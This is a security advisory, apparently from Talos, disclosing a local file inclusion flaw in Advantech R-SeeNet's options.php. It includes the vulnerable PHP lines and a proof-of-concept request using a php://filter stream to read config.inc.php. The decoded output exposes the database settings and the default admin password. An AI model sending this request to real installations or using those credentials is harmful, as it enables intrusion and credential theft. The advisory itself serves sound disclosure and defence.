Talos IntelligenceTALOS-2021-1273Advantech R-SeeNet options.php local file inclusion (LFI) vulnerability
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
0.016 Low
EPSS
Percentile
87.4%
Summary
A local file inclusion (LFI) vulnerability exists in the options.php script functionality of Advantech R-SeeNet v 2.4.12 (20.10.2020). A specially crafted HTTP request can lead to arbitrary PHP code execution. An attacker can send a crafted HTTP request to trigger this vulnerability.
Tested Versions
Advantech R-SeeNet 2.4.12 (20.10.2020)
Product URLs
<https://ep.advantech-bb.cz/products/software/r-seenet>
CVSSv3 Score
8.1 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE
CWE-98 - Improper Control of Filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’)
Details
R-SeeNet is the software system used for monitoring Advantech routers. It continuously collects information from individual routers in the network and records the data into a SQL database.
This vulnerability is present in options.php script, which is a part of the Advantech R-SeeNet web applications. A specially crafted HTTP request sent by an attacker can lead to arbitrary PHP code execution.
The options.php script accepts sub_opt parameter coming from the user via a HTTP request:
php/options.php
Line 25 if(isset($_GET['sub_opt']) && ($_GET['sub_opt'] != ''))
Line 26 {
Line 27 $sub_opt = $_GET['sub_opt'];
Line 28 }
Further without any sanitization sub_opt parameter value is used inside include function:
Line 217 <?php
Line 218 include($sub_opt.".php");
A major dispatching mechanism responsible for loading core components from php/ directory is located inside index.php script. We can see there is a whitelist array variable containing a list of allowed to load websites by particular user:
index.php
Line 60 // stranky na ktere muze guest //pages that guest user can load
Line 61 $whitelist = array(
Line 62 "device_list",
Line 63 "device_change",
Line 64 "device_status",
Line 65 "report_form",
Line 66 "login_form",
Line 67 "login_change",
Line 68 "mysql_sp",
Line 69 "get_file",
Line 70 "open_device",
Line 71 "options",
(...)
To trigger the described above vulnerability the attacker must be logged-in into the R-SeeNet website but as we might observe even guest user line 60,71 is able to load vulnerable options script.
Exploit Proof of Concept
An attacker using one of php streams can exploit this vulnerability. Example shows how to read a config.inc.php file content ( which contains db user/pass ,…) using one of the php streams.
Request
GET /index.php?page=options&sub_opt=php://filter/convert.base64-encode/resource=/config.inc HTTP/1.1\r\n
Host: 192.168.153.134\r\n
Connection: keep-alive\r\n
Cache-Control: max-age=0\r\n
Upgrade-Insecure-Requests: 1\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n
Accept-Encoding: gzip, deflate\r\n
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7\r\n
Cookie: PHPSESSID=ppe11sb53oqa82d3o0trtkllr0\r\n
Response
Hypertext Transfer Protocol
HTTP/1.1 200 OK\r\n
Date: Mon, 08 Mar 2021 17:10:15 GMT\r\n
Server: Apache/2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4\r\n
X-Powered-By: PHP/5.3.5\r\n
Expires: Thu, 19 Nov 1981 08:52:00 GMT\r\n
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\n
Pragma: no-cache\r\n
Keep-Alive: timeout=5, max=100\r\n
Connection: Keep-Alive\r\n
Transfer-Encoding: chunked\r\n
Content-Type: text/html; charset=utf-8\r\n
\r\n
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">\r\n
<html>\r\n
<head>\r\n
<meta http-equiv="Content-Type" content="text/plain; charset=utf-8" />\r\n
<meta name="description" content="TODO - info" />\r\n
<meta http-equiv="pragma" content="no-cache">\r\n
<meta http-equiv="cache-control" content="no-cache">\r\n
<meta http-equiv="refresh" content="960">\t\r\n
<title>R-SeeNet v2.4.12</title>\r\n
(...)
</td> \r\n
</tr>\r\n
PD9waHANCg0KLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8NCi8qICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICovDQovKi
</td>\r\n
</tr>\r\n
</table>\r\n
</body>\r\n
</html> \r\n
Encoded base64 string contains config.inc.php content:
<?php
/***************************************************************************/
/* */
/* VYCHOZI KONFIGURACE */
/* */
/***************************************************************************/
// konfigurace pripojeni k MySQL
define("DB_USER", "SNMPMON");
define("DB_PASS", "");
define("DB_HOST", "localhost");
define("DB_NAME", "snmpmon");
// konfigurace pripojeni ke sluzbe
define("READ_SERVICE_IP", "127.0.0.1");
define("READ_SERVICE_PORT", "65031");
define("VERSION", "2.4.12");
define("DEF_USER", "admin");
define("DEF_PASS", "conel");
?>
Timeline
2021-03-11 - Initial contact with vendor
2021-03-14 - Advisory issued to CISA
2021-04-13 - Follow up with vendor & CISA
2021-06-07 - Follow up with vendor & CISA (no response)
2021-06-22 - Final 90 day notice issued
2021-07-15 - Public Disclosure
Related
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
0.016 Low
EPSS
Percentile
87.4%